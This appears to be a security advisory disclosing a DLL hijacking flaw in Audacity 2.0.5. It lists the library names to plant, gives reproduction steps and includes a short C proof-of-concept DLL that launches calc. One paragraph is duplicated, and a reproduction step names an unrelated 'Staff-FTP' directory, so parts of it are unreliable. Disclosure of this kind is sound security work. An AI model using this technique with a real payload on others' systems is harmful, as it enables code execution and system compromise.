Audacity 2.0.5 contains Arbitrary DLL Injection Code Execution

[mystyle_rahul () yahoo co in]

A local dll injection vulnerability has been discovered in the official Audacity 2.0.5.
Since the program is not specified with a fully qualified path name the program uses a fixed path to look for specific 
files or libraries. This path includes directories that may not be trusted or under user control. By placing a custom 
version of the file or library in the path, the program will load it before the legitimate version. This allows a local 
attacker to inject custom code that will be run with the privilege of the program or user executing the program. This 
attack can be leveraged remotely in some cases by placing the malicious file or library on a network share or extracted 
archive downloaded from a remote source. This can be done by tricking a user into running a hostile script from the 
local file system or a USB drive in some cases.

Since the program is not specified with a fully qualified path name the program uses a fixed path to look for specific 
files or libraries. This path includes directories that may not be trusted or under user control. By placing a custom 
version of the file or library in the path, the program will load it before the legitimate version. This allows a local 
attacker to inject custom code that will be run with the privilege of the program or user executing the program. This 
attack can be leveraged remotely in some cases by placing the malicious file or library on a network share or extracted 
archive downloaded from a remote source. This can be done by tricking a user into running a hostile script from the 
local file system or a USB drive in some cases.

When a malicious dll is created with the following names:
avformat-52.dll
avutil-50.dll
avcodec-52.dll
and placed in the directory of the installed audacity C:\Program Files (x86)\Audacity . And when Audacity will be 
started by the legitmate user it will start the process and just close by and in meanwhile the code within the 
malicious DLL will be executed and can lead to total compromise the system in which it is installed

Vulnerability Information:
Class: DLL Hijacking
Impact: System access
Remotely Exploitable: Yes
Locally Exploitable: Yes

Vulnerable Software:
[+] Audacity

Vulnerable Version(s):
[+] v2.0.5

Vulnerable Libraries:
[+]avformat-52.dll
[+]avutil-50.dll
[+]avcodec-52.dll

Proof of Concept (PoC):
=======================
Manual steps to reproduce the local vulnerability ...
1. Compile dll and rename to avformat-52.dll , avutil-50.dll , avcodec-52.dll
2. Copy avformat-52.dll to C:\Program Files\Staff-FTP
3. Launch Audacity

PoC: Exploit 
#include <windows.h>
 
int alpdaemon()
{
  WinExec("calc", SW_SHOW);
  exit(0);
  return 0;
}
 
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
  alpdaemon();
  return 0;
}